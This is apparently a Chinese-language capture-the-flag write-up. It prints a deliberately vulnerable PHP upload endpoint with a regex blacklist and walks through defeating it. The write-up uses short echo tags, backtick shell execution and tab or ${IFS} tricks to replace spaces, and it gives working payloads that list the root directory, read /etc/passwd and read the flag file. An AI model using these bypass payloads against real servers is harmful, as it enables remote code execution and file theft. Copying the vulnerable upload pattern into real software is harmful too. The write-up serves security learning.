<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
可以看到对传入的参数进行了严格的过滤,我们无法通过传入数组绕过。
数组绕过示例:
本题源码示例:
那只能想办法绕过禁用字符串构造一句话木马。但是一句话木马肯定需要用到request,这里下划线被禁用了。也无法取反、异或、自增等等方法。那就只能直接注入恶意代码:
禁用了php,使用<?=绕过。
禁用了单引号,没法使用assert,但是可以用反引号。
想要执行'ls /'但是禁用了空格
- ${IFS}
- 重定向符号
<
- cat</etc/passwd
- 花括号
- {cat,/etc/passwd} # 逗号分隔,等价于 cat /etc/passwd
- 变量拼接
- 制表符\t
这里只能用制表符。
先查看当前路径
sandbox/70579d1796bfdf99d77ae93cf4092361/
然后写入代码
/?action=upload&data=<?=`ls\t/`?>
再访问sandbox/70579d1796bfdf99d77ae93cf4092361/index.php
得到
bin boot dev etc flllllll1112222222lag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
重新写入代码
/?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
访问sandbox/70579d1796bfdf99d77ae93cf4092361/index.php得到flag。
总结一下:这道题的难点就在于绕过禁用的字符构造恶意代码。